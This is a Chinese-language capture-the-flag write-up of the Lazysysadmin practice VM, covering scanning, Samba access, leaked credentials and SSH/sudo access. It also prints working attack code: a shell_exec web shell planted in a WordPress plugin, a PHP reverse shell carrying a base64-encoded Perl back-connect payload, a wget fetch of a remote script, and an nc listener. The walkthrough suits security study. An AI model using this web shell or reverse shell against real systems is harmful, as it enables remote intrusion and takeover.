靶机渗透之Lazysysadmin(四)

一、 环境准备

一个lazysysadmin主机,一台有网卡的kali

二、 信息收集

  1. 首先使用netdiscover确定靶机ip,再用nmap扫描端口
    靶机渗透之Lazysysadmin(四)_第1张图片
  2. nmap扫描开放的端口,发现开放22、了445、3306有趣的端口
    靶机渗透之Lazysysadmin(四)_第2张图片
  3. 按照常规的思路,有80端口,首先上去看看有什么可以利用的,然而并没有可以用的,一个纯静态页面,然后扫描目录,结果爆出phpmyadmin、wordpress有趣的东西
    靶机渗透之Lazysysadmin(四)_第3张图片

三、 漏洞利用

  1. phpmyadmin
    利用爆破工具进行爆破,然后失败
  2. wordpress
    打开发现是一个普通的wordpress站点,干干净净,但是发现一篇文章里面my name is togie重复了N次,记住这个文章
    靶机渗透之Lazysysadmin(四)_第4张图片
  3. samba
    看下能不能连进去,命令
mount -t cifs -o username='',password='' //192.168.106.140/share$ /mnt

靶机渗透之Lazysysadmin(四)_第5张图片
从smaba发现竟然是一个WordPeess站点目录,那么能搞的事情就有很多了。
解法一:ssh
1.有一个todolist打开查看发现没什么用,还有个deets.txt文件打开之,发现弱口令12345,再结合页面出现的togie,尝试链接ssh看下,居然进去了。
靶机渗透之Lazysysadmin(四)_第6张图片
靶机渗透之Lazysysadmin(四)_第7张图片
2.尝试切换一下目录,发现没有权限,那就试试看看togie用户有没有sudo的权限,然而又一次进去了,于是顺利拿到flag
靶机渗透之Lazysysadmin(四)_第8张图片
靶机渗透之Lazysysadmin(四)_第9张图片
解法二:
从smaba看到是一个wordpress站点,查看配置文件(wp目录下wp-config.php)
靶机渗透之Lazysysadmin(四)_第10张图片
发现有phpmyadmin账号和密码,http://192.168.106.140/phpmyadmin
登录phpmyadmin后,看下普通的into outfile能不能写shell,发现这是个残废的phpmyadmin
靶机渗透之Lazysysadmin(四)_第11张图片
然后忽然想起,刚刚wpscan扫到了一个用户名,然后wordpress的密码是否会跟phpmyadmin的一样,尝试一下,成功登录
靶机渗透之Lazysysadmin(四)_第12张图片
其实既然已经进入了控制面板,就可以有很多方式去写shell了,可以从主题模版的某些php文件中写,也可以看看插件中哪些可以利用。看到一个插件教hello,dolly,里面是打印一首叫“Hello Dolly”的各句歌词在页面右上角,那就从这里入手吧。
将输出歌词的地方,换成我们执行命令的回显

// And then randomly choose a line
$lyrics = "
".shell_exec($_GET['cmd'])."
"
; return wptexturize($lyrics);

靶机渗透之Lazysysadmin(四)_第13张图片
既然已经有了RCE,只需要把反弹shell的php脚本传到靶机上就可以了。


function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}

$yourip = "x.x.x.x"; //修改这里
$yourport = "2333"; // 修改这里
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

上传好之后,只需要在RCE处,wget下载到靶机即可
http://192.168.106.140/wordpress/wp-admin/index.php
?cmd=wget https://gist.githubusercontent.com/akkayin/404e282652bda5c9c5f8f56f5953a8ff/raw/fb25d067a742cc2f30b874697178e046f17c6a93/rev.php
然后就是kali开监听端口

nc -lnvp 2333

在浏览器中访问rev.php,成功
进行一系列的命令操作后,发现没有TTY
输入下面的命令

python3 -c 'import pty; pty.spawn("/bin/bash")'

到这里,如果是别的靶机,没有这样一个Lazy的Admin,你可以选择提权来获得root权限,但是既然作者这样为止,肯定要警示我们不要像这个lazyadmin一样有这里低级的陋习,所以我们就不需要走提权这条路了,直接用他给的密码登进去,如第一种解法一样即可。

四、总结

  1. Penetration真的需要很多骚操作,条条大路通罗马
  2. 这个靶机实际上并不难,但作者想通过这种简单但是却普遍的Vulnerability来提醒广大admin不要把敏感信息直接存储在显而易见的地方
  3. 在penetrate之前,要重视信息收集的工作,每发现一些敏感或看似有用的信息,记得拿小本子记下来,在后面或许有奇效!!

你可能感兴趣的:(靶机渗透)